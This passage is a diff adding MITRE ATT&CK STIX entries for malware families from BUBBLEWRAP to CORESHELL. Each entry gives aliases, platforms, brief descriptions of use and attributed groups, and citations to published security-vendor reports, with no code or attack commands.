[ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BUBBLEWRAP", + "x_mitre_aliases": [ + "BUBBLEWRAP", + "Backdoor.APT.FakeWinHTTPHelper" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T15:03:26.307Z", + "created": "2017-05-31T21:32:33.738Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. 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Retrieved December 4, 2015.", + "source_name": "FireEye admin@338" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Babuk", + "x_mitre_aliases": [ + "Babuk", + "Babyk", + "Vasa Locker" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-13T14:29:38.795Z", + "created": "2021-08-11T17:36:46.197Z", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "id": "malware--61c7a91a-0b83-461d-ad32-75d96eed4a09", + "description": "[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. 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Retrieved August 11, 2021.", + "source_name": "Trend Micro Ransomware February 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BabyShark", + "x_mitre_aliases": [ + "BabyShark" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-12T17:26:12.324Z", + "created": "2019-10-07T19:05:48.886Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. 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Retrieved January 28, 2021.", + "source_name": "Dragos IT ICS Ransomware" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BadPatch", + "x_mitre_aliases": [ + "BadPatch" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-17T00:22:32.796Z", + "created": "2019-01-29T21:33:34.082Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0337", + "external_id": "S0337", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 BadPatch Oct 2017)", + "source_name": "BadPatch" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/", + "description": "Bar, T., Conant, S. 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In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0239", + "external_id": "S0239", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: McAfee Bankshot)", + "source_name": "Bankshot" + }, + { + "description": "(Citation: McAfee Bankshot)", + "source_name": "Trojan Manuscript" + }, + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Bazar", + "x_mitre_aliases": [ + "Bazar", + "KEGTAP", + "Team9" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-18T19:43:00.355Z", + "created": "2020-11-18T19:07:48.008Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)", + "x_mitre_contributors": [ + "Cybereason Nocturnus, @nocturnus" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0534", + "external_id": "S0534", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020)", + "source_name": "KEGTAP" + }, + { + "description": "(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", + "source_name": "Team9" + }, + { + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020.", + "source_name": "Cybereason Bazar July 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", + "source_name": "CrowdStrike Wizard Spider October 2020" + }, + { + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.", + "source_name": "NCC Group Team9 June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BendyBear", + "x_mitre_aliases": [ + "BendyBear" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-21T15:02:21.066Z", + "created": "2021-02-16T16:50:29.990Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "description": "[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. 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Retrieved February 16, 2021.", + "source_name": "Unit42 BendyBear Feb 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Bisonal", + "x_mitre_aliases": [ + "Bisonal" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-17T16:05:26.618Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0268", + "external_id": "S0268", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 Bisonal July 2018)", + "source_name": "Bisonal" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BitPaymer", + "x_mitre_aliases": [ + "BitPaymer", + "wp_encrypt", + "FriedEx" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-26T22:04:32.509Z", + "created": "2021-02-08T22:19:19.340Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0570", + "external_id": "S0570", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Crowdstrike Indrik November 2018)", + "source_name": "BitPaymer" + }, + { + "description": "(Citation: Crowdstrike Indrik November 2018)", + "source_name": "wp_encrypt" + }, + { + "description": "(Citation: Crowdstrike Indrik November 2018)", + "source_name": "FriedEx" + }, + { + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.", + "source_name": "Crowdstrike Indrik November 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BlackEnergy", + "x_mitre_aliases": [ + "BlackEnergy", + "Black Energy" + ], + "x_mitre_version": "1.3", + "modified": "2021-04-26T15:59:03.034Z", + "created": "2017-05-31T21:32:57.807Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0089", + "external_id": "S0089", + "source_name": "mitre-attack" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BlackMould", + "x_mitre_aliases": [ + "BlackMould" + ], + "x_mitre_version": "1.0", + "modified": "2021-03-23T22:18:00.145Z", + "created": "2021-01-14T19:58:17.917Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", + "description": "[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0564", + "external_id": "S0564", + "source_name": "mitre-attack" + }, + { + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.", + "source_name": "Microsoft GALLIUM December 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Bonadan", + "x_mitre_aliases": [ + "Bonadan" + ], + "x_mitre_version": "1.0", + "modified": "2020-08-10T19:17:14.766Z", + "created": "2020-07-16T14:59:40.051Z", + "x_mitre_platforms": [ + "Linux" + ], + "id": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", + "description": "[Bonadan](https://attack.mitre.org/software/S0486) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://attack.mitre.org/software/S0486) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.(Citation: ESET ForSSHe December 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0486", + "external_id": "S0486", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.", + "source_name": "ESET ForSSHe December 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BoomBox", + "x_mitre_aliases": [ + "BoomBox" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-16T01:33:59.932Z", + "created": "2021-08-03T14:55:46.682Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", + "description": "[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0635", + "external_id": "S0635", + "source_name": "mitre-attack" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "description": "MSTIC. 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[BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Yoshihiro Kori, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0651", + "external_id": "S0651", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Checkpoint IndigoZebra July 2021)(Citation: HackerNews IndigoZebra July 2021)", + "source_name": "BoxCaon" + }, + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + }, + { + "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html", + "description": "Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021.", + "source_name": "HackerNews IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Brave Prince", + "x_mitre_aliases": [ + "Brave Prince" + ], + "x_mitre_version": "1.1", + "modified": "2020-04-21T23:09:30.781Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0252", + "external_id": "S0252", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: McAfee Gold Dragon)", + "source_name": "Brave Prince" + }, + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Briba", + "x_mitre_aliases": [ + "Briba" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T14:56:14.671Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "description": "[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0204", + "external_id": "S0204", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Briba May 2012)", + "source_name": "Briba" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99", + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Bundlore", + "x_mitre_aliases": [ + "Bundlore", + "OSX.Bundlore" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T20:26:31.452Z", + "created": "2020-07-01T19:34:28.366Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", + "description": "[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0482", + "external_id": "S0482", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: MacKeeper Bundlore Apr 2019)", + "source_name": "OSX.Bundlore" + }, + { + "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", + "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.", + "source_name": "MacKeeper Bundlore Apr 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "CALENDAR", + "x_mitre_aliases": [ + "CALENDAR" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-30T15:12:21.836Z", + "created": "2017-05-31T21:32:20.137Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "description": "[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0025", + "external_id": "S0025", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "CARROTBAT", + "x_mitre_aliases": [ + "CARROTBAT" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-15T15:13:27.660Z", + "created": "2020-06-02T14:11:40.581Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8", + "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0462", + "external_id": "S0462", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", + "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT November 2018" + }, + { + "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", + "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT January 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "CCBkdr", + "x_mitre_aliases": [ + "CCBkdr" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-20T20:01:55.457Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0222", + "external_id": "S0222", + "source_name": "mitre-attack" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Intezer Aurora Sept 2017", + "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.", + "url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + } + ] + }, + { + "type": "malware", + "modified": "2020-03-30T15:21:18.086Z", + "name": "CHOPSTICK", + "x_mitre_aliases": [ + "CHOPSTICK", + "Backdoor.SofacyX", + "SPLM", + "Xagent", + "X-Agent", + "webhp" + ], + "x_mitre_version": "2.1", + "created": "2017-05-31T21:32:19.389Z", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "id": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Richard Gold, Digital Shadows" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0023", + "external_id": "S0023", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "CHOPSTICK" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "Backdoor.SofacyX" + }, + { + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "SPLM" + }, + { + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "Xagent" + }, + { + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "X-Agent" + }, + { + "description": "(Citation: FireEye APT28 January 2017)", + "source_name": "webhp" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "url": "https://www.justice.gov/file/1080281/download", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "CORALDECK", + "x_mitre_aliases": [ + "CORALDECK" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T15:13:24.829Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0212", + "external_id": "S0212", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "CORALDECK" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "CORESHELL", + 